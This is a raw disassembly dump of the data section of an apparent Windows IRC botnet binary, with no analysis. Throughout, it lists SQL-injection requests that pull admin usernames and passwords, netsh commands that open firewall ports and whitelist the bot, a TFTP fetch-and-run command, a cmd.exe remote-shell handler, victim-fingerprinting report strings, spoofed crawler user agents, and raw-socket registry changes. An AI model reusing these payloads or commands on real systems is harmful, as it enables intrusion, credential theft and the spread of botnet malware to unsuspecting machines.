4 aSystemCurren_1 db 'SYSTEM\CurrentControlSet\Services\Afd\Parameters',0 ; DATA XREF: sub_418FA1+3BBo align 4 aDisablerawsecu db 'DisableRawSecurity',0 ; DATA XREF: sub_418FA1+3B6o align 10h aTcpnumconnecti db 'TcpNumConnections',0 ; DATA XREF: sub_418FA1+3A9o ; sub_418FA1+553o align 4 aAllowuserrawac db 'AllowUserRawAccess',0 ; DATA XREF: sub_418FA1+398o align 4 aLargebuffersiz db 'LargeBufferSize',0 ; DATA XREF: sub_418FA1+38Bo aTcpmaxdupacks db 'TcpMaxDupAcks',0 ; DATA XREF: sub_418FA1+377o align 4 aDefaultttl db 'DefaultTTL',0 ; DATA XREF: sub_418FA1+369o align 4 aSackopts db 'SackOpts',0 ; DATA XREF: sub_418FA1+35Bo align 10h aEnablepmtubhde db 'EnablePMTUBHDetect',0 ; DATA XREF: sub_418FA1+34Eo align 4 aEnablepmtudisc db 'EnablePMTUDiscovery',0 ; DATA XREF: sub_418FA1+33Eo aTcpwindowsize db 'TcpWindowSize',0 ; DATA XREF: sub_418FA1+331o align 4 aGlobalmaxtcpwi db 'GlobalMaxTcpWindowSize',0 ; DATA XREF: sub_418FA1+320o align 10h aTcp1323opts db 'Tcp1323Opts',0 ; DATA XREF: sub_418FA1+30Fo aStricttimewait db 'StrictTimeWaitSeqCheck',0 ; DATA XREF: sub_418FA1+2FFo align 4 aTcptimedwaitde db 'TcpTimedWaitDelay',0 ; DATA XREF: sub_418FA1+2F2o align 4 aMaxuserport db 'MaxUserPort',0 ; DATA XREF: sub_418FA1+2E4o aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters',0 ; DATA XREF: sub_418FA1+2DFo align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control',0 ; DATA XREF: sub_418FA1+2CFo align 4 aWaittokillserv db 'WaitToKillServiceT',0 ; DATA XREF: sub_418FA1+2C5o align 10h a5000 db '5000',0 ; DATA XREF: sub_418FA1+2C0o align 4 aBan db 'ban',0 ; DATA XREF: sub_418FA1+2B5o aRModeChanB1 db 'r MODE $chan +b $1',0 ; DATA XREF: sub_418FA1+2B0o align 10h aHalfop db 'halfop',0 ; DATA XREF: sub_418FA1+2A3o align 4 aRModeChanH1 db 'r MODE $chan +h $1',0 ; DATA XREF: sub_418FA1+29Eo align 4 aVoice db 'voice',0 ; DATA XREF: sub_418FA1+294o align 4 aRModeChanV1 db 'r MODE $chan +v $1',0 ; DATA XREF: sub_418FA1+28Fo align 4 aOps db 'ops',0 ; DATA XREF: sub_418FA1+285o aRModeChanO1 db 'r MODE $chan +o $1',0 ; DATA XREF: sub_418FA1+280o align 10h aCtc2 db 'ctc2',0 ; DATA XREF: sub_418FA1+276o align 4 aR1_ db 'r $1 :.',0 ; DATA XREF: sub_418FA1+271o off_4462D0 dd offset byte_637463 ; DATA XREF: sub_418FA1+267o aRPrivmsg1_ db 'r PRIVMSG $1 :.',0 ; DATA XREF: sub_418FA1+262o aSlap db 'slap',0 ; DATA XREF: sub_418FA1+258o align 4 aRPrivmsg1Slaps db 'r PRIVMSG $1 slaps for You!!',0 ; DATA XREF: sub_418FA1+253o align 4 aSlaps db 'slaps',0 ; DATA XREF: sub_418FA1+249o align 4 aRPrivmsg1GodDa db 'r PRIVMSG $1 god damnit,hard bitchslaps for you!!',0 ; DATA XREF: sub_418FA1+244o align 4 dword_446348 dd 69614D02h, 6E65746Eh, 65636E61h, 2off_446358 dd offset aFastWebcrawler ; DATA XREF: .text:0041A163r ; .text:0041A16Cr ... ; "FAST-WebCrawler/3.8 (atw-crawler at fas"... dd offset aGooglebot2_0Ht ; "Googlebot/2.0 (+http://www.googlebot.co"... dd offset aLynx2_8_4rel_1 ; "Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1"... dd offset aGooglebot2_1Ht ; "Googlebot/2.1 (+http://www.googlebot.co"... dd offset aMicrosoftWebda ; "Microsoft-WebDAV-MiniRedir/5.1.2600" dd offset aGooglebot2_0_0 ; "Googlebot/2.0 (http://www.google.com/bo"... dd offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"... dd offset aGooglebot2_1_0 ; "Googlebot/2.1 (http://www.google.com/bo"... dd offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"... dd offset aGooglebot1_9Ht ; "Googlebot/1.9 (http://www.google.com/to"... dd offset aMozilla4_0Co_1 ; "Mozilla/4.0 (compatible; MSIE 5.0; Wind"... dd offset aGooglebot1_9_1 ; "Googlebot/1.9.1 (http://www.google.com/"... dd offset aMozilla4_0Co_2 ; "Mozilla/4.0 (compatible; MSIE 5.5; Wind"... dd offset aMozilla4_0Co_3 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_4 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_5 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_6 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_7 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_8 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_9 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0C_10 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Comp ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_0 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_1 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_2 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_3 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_4 ; "Mozilla/5.0 compatible ZyBorg/1.0 (wn.z"... dd offset aMozilla4_75En ; "Mozilla/4.75 [en]" dd offset aMozilla5_0Slur ; "Mozilla/5.0 (Slurp/cat; slurp@inktomi.c"... dd offset aMozilla5_0Sl_0 ; "Mozilla/5.0 (Slurp/si; slurp@inktomi.co"... dd offset aMozilla5_0Wind ; "Mozilla/5.0 (Windows; U; Windows NT 5.0"... dd offset aMozilla5_0Wi_0 ; "Mozilla/5.0 (Windows; U; Windows NT 5.0"... dd offset aMozilla5_0Wi_1 ; "Mozilla/5.0 (Windows; U; Windows NT 5.2"... dd offset aMozilla5_0X11U ; "Mozilla/5.0 (X11; U; FreeBSD i386; en-U"... dd offset aScooter3_2 ; "Scooter/3.2" dd offset aWget1_8 ; "Wget/1.8" dd offset aMozilla5_0X1_0 ; "Mozilla/5.0 (X11; U; openSuSe i686; SMP"... dd offset aWget2_0 ; "Wget/2.0" dd offset aMozilla5_0X1_1 ; "Mozilla/5.0 (X11; U; Ubuntu i386; en-US"... dd offset aWget21 ; "Wget/2,1" dd offset aMozilla5_0X1_2 ; "Mozilla/5.0 (X11; U; Ubuntu i386; en-US"... dd offset dword_446404 dd 0 dword_446404 dd 73797870h, 392E312Fh, 342EhaMozilla5_0X1_2 db 'Mozilla/5.0 (X11; U; Ubuntu i386; en-US; rv:1.7.5) Gecko/20080112' ; DATA XREF: .text:004463F8o db 0 align 4 aWget21 db 'Wget/2,1',0 ; DATA XREF: .text:004463F4o align 10h aMozilla5_0X1_1 db 'Mozilla/5.0 (X11; U; Ubuntu i386; en-US; rv:1.7) Gecko/20060502',0 ; DATA XREF: .text:004463F0o aWget2_0 db 'Wget/2.0',0 ; DATA XREF: .text:004463ECo align 10h aMozilla5_0X1_0 db 'Mozilla/5.0 (X11; U; openSuSe i686; SMP; en-US; rv:1.7) Gecko/200' ; DATA XREF: .text:004463E8o db '51223',0 align 4 aWget1_8 db 'Wget/1.8',0 ; DATA XREF: .text:004463E4o align 4 aScooter3_2 db 'Scooter/3.2',0 ; DATA XREF: .text:004463E0o aMozilla5_0X11U db 'Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031021',0 ; DATA XREF: .text:004463DCo align 8 aMozilla5_0Wi_1 db 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.5a) Gecko/20' ; DATA XREF: .text:004463D8o db '030728 Mozilla Firebird/0.7',0 align 4 aMozilla5_0Wi_0 db 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20' ; DATA XREF: .text:004463D4o db '020718',0 aMozilla5_0Wind db 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/200' ; DATA XREF: .text:004463D0o db '31007',0 align 4 aMozilla5_0Sl_0 db 'Mozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/' ; DATA XREF: .text:004463CCo db 'slurp.html)',0 align 4 aMozilla5_0Slur db 'Mozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com' ; DATA XREF: .text:004463C8o db '/slurp.html)',0 align 4 aMozilla4_75En db 'Mozilla/4.75 [en]',0 ; DATA XREF: .text:004463C4o align 10h aMozilla5_0Co_4 db 'Mozilla/5.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http:' ; DATA XREF: .text:004463C0o db '//www.WISEnutbot.com)',0 align 4 aMozilla5_0Co_3 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)',0 ; DATA XREF: .text:004463BCo align 8 aMozilla5_0Co_2 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; ODI3 Navigator' ; DATA XREF: .text:004463B8o db ')',0 align 10h aMozilla5_0Co_1 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0' ; DATA XREF: .text:004463B4o db ')',0 align 8 aMozilla5_0Co_0 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts' ; DATA XREF: .text:004463B0o db '-MyWay; (R1 1.3); .NET CLR 1.1.4322)',0 align 10h aMozilla5_0Comp db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt+ .NET C' ; DATA XREF: .text:004463ACo db 'LR)',0 align 4 aMozilla4_0C_10 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser;' ; DATA XREF: .text:004463A8o db ' .NET CLR 1.1.4322)',0 align 10h aMozilla4_0Co_9 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4' ; DATA XREF: .text:004463A4o db '322; .NET CLR 1.0.3705)',0 align 10h aMozilla4_0Co_8 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4' ; DATA XREF: .text:004463A0o db '322)',0 align 4 aMozilla4_0Co_7 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: .text:0044639Co align 10h aMozilla4_0Co_6 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3' ; DATA XREF: .text:00446398o db '705; .NET CLR 1.1.4322)',0 align 4 aMozilla4_0Co_5 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)',0 ; DATA XREF: .text:00446394o align 10h aMozilla4_0Co_4 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows ME; Win 9x 4.90; H0108' ; DATA XREF: .text:00446390o db '18; AT&T CSM6.0)',0 align 4 aMozilla4_0Co_3 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)',0 ; DATA XREF: .text:0044638Co align 4 aMozilla4_0Co_2 db 'Mozilla/4.0 (compatible; MSIE 5.5; Windows ME)',0 ; DATA XREF: .text:00446388o align 4 aGooglebot1_9_1 db 'Googlebot/1.9.1 (http://www.google.com/tools/bot.php)',0 ; DATA XREF: .text:00446384o align 4 aMozilla4_0Co_1 db 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)',0 ; DATA XREF: .text:00446380o align 4 aGooglebot1_9Ht db 'Googlebot/1.9 (http://www.google.com/tools/bot.php)',0 ; DATA XREF: .text:0044637Co aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)',0 ; DATA XREF: .text:00446378o aGooglebot2_1_0 db 'Googlebot/2.1 (http://www.google.com/bot.php)',0 ; DATA XREF: .text:00446374o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)',0 ; DATA XREF: .text:00446370o aGooglebot2_0_0 db 'Googlebot/2.0 (http://www.google.com/bot.php)',0 ; DATA XREF: .text:0044636Co align 4 aMicrosoftWebda db 'Microsoft-WebDAV-MiniRedir/5.1.2600',0 ; DATA XREF: .text:00446368o aGooglebot2_1Ht db 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',0 ; DATA XREF: .text:00446364o align 10h aLynx2_8_4rel_1 db 'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.6',0 ; DATA XREF: .text:00446360o align 4 aGooglebot2_0Ht db 'Googlebot/2.0 (+http://www.googlebot.com/bot.html)',0 ; DATA XREF: .text:0044635Co align 10h aFastWebcrawler db 'FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/s' ; DATA XREF: .text:off_446358o db 'upport/crawler.asp)',0 align 4 aD_0 db '%d',0 ; DATA XREF: sub_41BE01+20Eo align 4 asc_446DEC db 0Dh,0Ah ; DATA XREF: sub_419B11+BBo db 0Dh,0Ah,0 align 4 a@_6: ; DATA XREF: sub_419C4E+CFo ; sub_419C4E+147o ... unicode 0, <@>,0 asc_446DF8: ; DATA XREF: sub_419C4E:loc_419CD4o ; sub_4246F0+48o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_419C4E+72o ; sub_419C4E:loc_419E07o ... aHttp db 'http',0 ; DATA XREF: sub_419C4E+62o ; sub_419C4E+1A2o ... align 4 asc_446E08: ; DATA XREF: sub_419C4E+34o ; sub_423C7A+3D5o ... unicode 0, <:>,0 aSSSU db '%s %s -> %s:%u',0 ; DATA XREF: .text:0041B0D3o align 4 aIframe db 'iframe',0 ; DATA XREF: .text:0041AD8Eo align 4 aFrame db 'frame',0 ; DATA XREF: .text:loc_41AD7Ao align 4 aEmbed db 'embed',0 ; DATA XREF: .text:loc_41AADCo align 4 off_446E34 dd offset byte_637273 ; DATA XREF: .text:0041A8F4o ; .text:0041AB92o ... off_446E38 dd offset byte_676D69 ; DATA XREF: .text:loc_41A83Eo align 10h aGetS1UnionSe_1 db 'GET %s=-1+union+select+1,2,concat_ws(char(58),version(),user(),no' ; DATA XREF: .text:0041A7E5o db 'w()) HTTP/1.1',0Dh,0Ah db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl' db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/' db 'msword, */*',0Dh,0Ah db 'Accept-Language: en-us,en',0Dh,0Ah db 'User-Agent: %s',0Dh,0Ah db '%s',0Dh,0Ah db 'Referer: %s',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 8 aGetS1UnionSe_0 db 'GET %s=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+fr' ; DATA XREF: .text:0041A78Eo db 'om+admin HTTP/1.1',0Dh,0Ah db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl' db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/' db 'msword, */*',0Dh,0Ah db 'Accept-Language: en-us,en',0Dh,0Ah db 'User-Agent: %s',0Dh,0Ah db '%s',0Dh,0Ah db 'Referer: %s',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aGetS1UnionSele db 'GET %s=-1+union+select+database(),version(),system_user(),session' ; DATA XREF: .text:0041A737o db '_user(),current_user(),last_insert_id(),3,4,5,6,user()/* HTTP/1.1' db 0Dh,0Ah db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl' db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/' db 'msword, */*',0Dh,0Ah db 'Accept-Language: en-us,en',0Dh,0Ah db 'User-Agent: %s',0Dh,0Ah db '%s',0Dh,0Ah db 'Referer: %s',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttpSDSS db 'http://%s:%d%s%s',0 ; DATA XREF: .text:0041A652o ; .text:0041A9F5o ... align 4 aHttp_0 db 'http://',0 ; DATA XREF: .text:loc_41A600o ; .text:loc_41A9A3o ... aHttpSDS db 'http://%s:%d%s',0 ; DATA XREF: .text:0041A5F0o ; .text:0041A993o ... align 4 aHref db 'href',0 ; DATA XREF: .text:0041A551o align 4 aRefresh db '"Refresh"',0 ; DATA XREF: .text:0041A305o align 4 aMeta db 'meta',0 ; DATA XREF: .text:0041A2E9o align 10h aGetSHttp1_1Acc db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: .text:0041A225o ; .text:0041A450o ... db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl' db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/' db 'msword, */*',0Dh,0Ah db 'Accept-Language: en-us,en',0Dh,0Ah db 'User-Agent: %s',0Dh,0Ah db '%s',0Dh,0Ah db 'Referer: %s',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHostSD db 'Host: %s:%d',0 ; DATA XREF: .text:0041A1F5o ; .text:0041A423o ... aHostS db 'Host: %s',0 ; DATA XREF: .text:0041A1D6o ; .text:0041A407o ... align 4 asc_44736C: ; DATA XREF: .text:0041A18Do ; sub_424EAB+170o unicode 0, <=>,0 aFailedToParse_ db 'Failed to parse.',0 ; DATA XREF: .text:0041A102o align 4 off_447384 dd offset off_4374BC ; DATA XREF: .text:004380C4o ; .text:00438414o dd 0 a_?avexception@ db '.?AVexception@@',0 off_44739C dd offset off_4374BC ; DATA XREF: .text:off_437F68o ; .text:00437FFCo ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_4473BC dd offset off_4374BC ; DATA XREF: .text:off_438008o ; .text:0043804Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_41B1F5+1Eo dword_4473F8 dd 6E6B6E55h ; sub_42015A+2Er dword_4473FC dd 6E776Fh ; sub_42015A+3Er off_447400 dd offset byte_5C3A41 ; DATA XREF: sub_41BE01:loc_41C080o aSEndOfList_ db '%s End of list.',0 ; DATA XREF: sub_423719+BCo aDDayS0_2d0_2d0 db '%d day%s %0.2d:%0.2d:%0.2d',0 ; DATA XREF: sub_41B9F8+F2o align 10h aS_2: ; DATA XREF: sub_41B9F8+E8o ; sub_41BB89+65o ... unicode 0, <s>,0 a0_2d0_2d0_2d db '%0.2d:%0.2d:%0.2d',0 ; DATA XREF: sub_41B9F8+CEo align 4 aDDayS0_2d0_2d db '%d day%s %0.2d:%0.2d',0 ; DATA XREF: sub_41BB89+6Eo align 10h aSD_1 db '%s <%d>',0 ; DATA XREF: sub_41BB89+28o aSCpuI64umhzRam db '%s (CPU): %I64uMHz, (RAM): %sMB total, %sMB free, (OS): Windows %' ; DATA XREF: sub_41BE01+35Ao db 's (%d.%d - %d). (SysDir): %s. (Computer Name): %s, (Current User)' db ': %s, (Date): %s, (Time): %s, (UpTime): %s, (FreeSpace): %I64uGB/' db '%I64uGB.',0 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_41BE01+1C5o align 10h aDddMmmDdYyyy db 'ddd, MMM dd, yyyy',0 ; DATA XREF: sub_41BE01+1A9o align 4 aSS_3 db '%s (%s)',0 ; DATA XREF: sub_41BE01+14Ao a2k8 db '2K8',0 ; DATA XREF: sub_41BE01:loc_41BF11o ; sub_41D318:loc_41D428o ... aVista_0 db 'Vista',0 ; DATA XREF: sub_41BE01+107o ; sub_41D318+109o ... align 4 a2k3_0 db '2K3',0 ; DATA XREF: sub_41BE01+E7o ; sub_41D318+EAo ... aXp db 'XP',0 ; DATA XREF: sub_41BE01+D5o ; sub_41D318+DAo ... align 10h a2k db '2K',0 ; DATA XREF: sub_41BE01+C3o ; sub_41D318+CAo ... align 4 aMe_0 db 'ME',0 ; DATA XREF: sub_41BE01+A9o ; sub_41D318+B1o ... align 4 aNt_0 db 'NT',0 ; DATA XREF: sub_41BE01+7Bo ; sub_41D318+8Eo ... align 4 aD_D db '%d.%d',0 ; DATA XREF: sub_41BE01+3Bo ; sub_41D318+51o ... align 4 a??? db '???',0 ; DATA XREF: sub_41BE01+16o ; sub_42015A+4Ao aBandwidthDownl db '(Bandwidth): Downloaded: %s, Uploaded: %s.',0 ; DATA XREF: sub_41C238+18Bo align 8 aSConnectionSSI db '%s (Connection): %s (%s), (IntIP): %s, (ExtIP): %s, (HostName): %' ; DATA XREF: sub_41C238+16Bo db 's, (Private): %s ',0 align 4 aNo db 'No',0 ; DATA XREF: sub_41C238+145o align 10h aYes db 'Yes',0 ; DATA XREF: sub_41C238+13Eo aSkb db '%sKB',0 ; DATA XREF: sub_41C238+108o align 4 aSgb db '%sGB',0 ; DATA XREF: sub_41C238+EAo align 4 aSmb db '%sMB',0 ; DATA XREF: sub_41C238+C7o align 4 off_44762C dd offset loc_412F4D+1 ; DATA XREF: sub_41C238:loc_41C2B0o off_447630 dd offset dword_4E414C ; DATA XREF: sub_41C238:loc_41C2A9o dword_447634 dd 6C616944h, 412F7075h, 4C5344hdword_447640 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64haPingTimeout?DD db 'Ping Timeout? (%d-%d)%d/%d',0 ; DATA XREF: .text:0041C4C7o align 4 aSLoginListComp db '%s Login List complete.',0 ; DATA XREF: sub_41C7C5+69o aIEmpty db '<%i> <Empty>',0 ; DATA XREF: sub_41C7C5+46o align 4 aISS@S db '<%i> %s!%s@%s',0 ; DATA XREF: sub_41C7C5+34o align 4 aSLoginList db '%s Login List:',0 ; DATA XREF: sub_41C7C5+Fo align 4 aSS0S db '%s %s * 0 :%s',0Dh,0Ah,0 ; DATA XREF: sub_41C8B1+1B1o aSS db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_41C8B1+168o ; sub_41CAB4+41o ... a___ db '...',0 ; DATA XREF: sub_41CA82+9o ; sub_4330A0+BFo asc_4476D0 db 0Dh,0Ah,0 ; DATA XREF: sub_41CB8C+Ao ; sub_425E18+FDo align 4 aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_41CDD4+54o ; sub_41CE4A+54o ... dword_4476E0 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 1732520h ; DATA XREF: sub_41CEC0+43o dd 0A0Dh dword_4476F8 dd 25207325h, 73252073h, 0A0Dh ; sub_41D110+1Fo dword_447704 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_447714 dd 7C7325h off_447718 dd offset byte_4E4957 ; DATA XREF: sub_41D318+19o ; sub_41D475+15o ... dword_44771C dd 257C7325h, 63257C73h, 63256325h, 0dword_44772C dd 6925h ; sub_41FE3F+1C6o dword_447730 dd 7Ch ; sub_41D5EF:loc_41D694o ... aCCCCCCCCC db '%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D6A6:loc_41D7BDo ; sub_41D917+E9o align 4 aDCCCCCCCCC db '|%d|%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D6A6+107o align 10h aSCCCCCCCCC db '%s%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D7D2:loc_41D8FAo align 4 aDSCCCCCCCCC db '|%d|%s%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D7D2+118o align 4 a_2d db '%.2d',0 ; DATA XREF: sub_41DA15+86o align 4 aP: ; DATA XREF: sub_41DA15+6Fo ; .text:0044F3A8o unicode 0, <P>,0 aM: ; DATA XREF: sub_41DA15+51o ; .text:0044F3E8o ... unicode 0, <M>,0 aP_0 db 'P|',0 ; DATA XREF: sub_41DAC6+59o align 4 aM_0 db 'M|',0 ; DATA XREF: sub_41DAC6+3Fo align 4 aSSS_2 db '%s %s -> %s',0 ; DATA XREF: sub_41DB6B+139o ; sub_41DD09+109o ... aCouldnTResolve db 'Couldn',27h,'t resolve',0 ; DATA XREF: sub_41E446:loc_41E4ABo align 4 a90 db '90',0 ; DATA XREF: sub_41E4C1:loc_41E571o align 10h a168 db '168',0 ; DATA XREF: sub_41E4C1+A2o a192 db '192',0 ; DATA XREF: sub_41E4C1:loc_41E557o a16 db '16',0 ; DATA XREF: sub_41E4C1+88o align 4 a172 db '172',0 ; DATA XREF: sub_41E4C1+7Co a10 db '10',0 ; DATA XREF: sub_41E4C1+70o align 4 aProccessHasTer db 'Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_41E661+117o align 10h aCouldNotReadDa db 'Could not read data from proccess.',0Dh,0Ah,0 ; DATA XREF: sub_41E661:loc_41E74Fo ; sub_41E661:loc_41E79Bo align 4 aSFailedToStart db '%s Failed to start IO thread, error: <%d>.',0 ; DATA XREF: sub_41E7BE+19Co align 4 aSCmdPrompt db '%s CMD Prompt',0 ; DATA XREF: sub_41E7BE+151o align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_41E7BE+2Co ; sub_42B0E9+86o ... align 10h aSystemCurren_5 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' ; DATA XREF: sub_41E96F+91o db 'lPolicy\DomainProfile\AuthorizedApplications\List',0 align 8 aSystemCurren_4 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' ; DATA XREF: sub_41E96F+55o db 'lPolicy\StandardProfile\AuthorizedApplications\List',0 align 10h aEnabled db ':*:Enabled:',0 ; DATA XREF: sub_41E96F+25o aFirewallSetAll db 'firewall set allowedprogram "%s" workstation ENABLE ALL',0 ; DATA XREF: sub_41EA30+138o aFirewallAddAll db 'firewall add allowedprogram "%s" workstation ENABLE ALL',0 ; DATA XREF: sub_41EA30+10Ao aFirewallSetP_4 db 'firewall set portopening TCP 9991 PORT2',0 ; DATA XREF: sub_41EA30+C4o aFirewallSetP_3 db 'firewall set portopening TCP 9999 PORT1',0 ; DATA XREF: sub_41EA30+9Bo aFirewallSetP_2 db 'firewall set portopening TCP 1013 BS',0 ; DATA XREF: sub_41EA30+72o align 4 aFirewallSetP_1 db 'firewall set portopening TCP 139 NB',0 ; DATA XREF: sub_41EA30+49o aNetsh db 'netsh',0 ; DATA XREF: sub_41EA30+39o ; sub_41EB9C+33o align 10h aFirewallSetP_0 db 'firewall set portopening TCP 445 NB',0 ; DATA XREF: sub_41EA30+Eo aFirewallSetPor db 'firewall set portopening TCP %d FD',0 ; DATA XREF: sub_41EB9C+15o align 4 aClosedI db 'closed %i',0Ah,0 ; DATA XREF: sub_41EC9D+159o align 4 aCloseError db 'close error',0Ah,0 ; DATA XREF: sub_41EC9D+147o align 8 dd offset aRxIrc ; "Rx IRC" off_447AEC dd offset aIrc_0 ; DATA XREF: sub_41EE89+95r ; sub_41EE89+A3o ; "[IRC]: " dd offset aRxIrc_c ; "Rx IRC.c" dd offset aIrc ; "IRC//" dd offset aPiabot ; "PiABot" dd offset dword_44D9D8 dd offset dword_44D9CC dd offset dword_44D9C0 dd offset dword_44D9B8 dd offset dword_44D9AC dd offset dword_44D9A0 dd offset dword_44D990 dd offset dword_44D984 dd offset dword_44D97C dd offset dword_44D96C dd offset dword_44D964 dd offset dword_44D954 dd offset dword_44D94C dd offset dword_44D940 dd offset dword_44D934 dd offset dword_44D928 dd offset dword_44D91C dd offset dword_44D910 dd offset dword_44D900 dd offset dword_44D8F0 dd offset dword_44D8E0 dd offset aRxnzm ; "RxNZM" dd offset dword_44D8BC dd offset aRxnzm_b ; "RxNZM.b" dd offset a_n_z_m_Irc_p_l ; ".n.z.m. (irc.p.l.g) .»». " dd offset dword_44D890 dd offset dword_44D870 dd offset dword_44D864 dd offset dword_44D858 dd offset dword_44D848 dd offset dword_44D83C dd offset dword_44D830 dd offset dword_44D824 dd offset dword_44D814 dd offset dword_44D808 dd offset dword_44D800 dd offset dword_44D7F4 dd offset dword_44D7EC dd offset loc_44D7E0 dd offset dword_44D7D8 dd offset loc_44D7CC dd offset dword_44D7C4 dd offset dword_44D7BC dd offset dword_44D7B4 dd offset loc_44D7A8 dd offset aRepFtpd ; "Rep FTPd" dd offset aReptileWelcome ; "Reptile welcomes you..." dd offset aRep08Ftpd ; "Rep08 FTPd" dd offset a220ReptileWelc ; "220 Reptile welcomes you..\r\n" dd offset aRep08Main ; "Rep08 Main" dd offset aMain_0 ; "-MAiN-" dd offset aStnyftpd ; "StnyFtpd" dd offset aStnyftpd0wnsJ0 ; "StnyFtpd 0wns j00" dd offset aAgobot ; "AgoBot" dd offset a220WelcomeToBo ; "220 \"Welcome to Bot FTP service.\"\r\n" dd offset aPhatbot ; "PhatBot" dd offset a220BotServerWi ; "220 Bot Server (Win32)\r\n" dd offset aTftpget_a ; "TFTPGet.a" dd offset aTftpISGetSS ; "tftp -i %s get %s &%s\n" dd offset aRxTftp ; "Rx TFTP" dd offset aTftp ; "[TFTP]" dd offset aTftpget_b ; "TFTPGet.b" dd offset aCmdCTftpISGetS ; "cmd /c tftp -i %s GET %s &start %s &exi"... dd offset dword_44D65C dd offset loc_44D650 dd offset dword_44D648 dd offset dword_44D63C dd offset dword_44D62C dd offset dword_44D620 dd offset dword_44D618 dd offset dword_44D60C dd 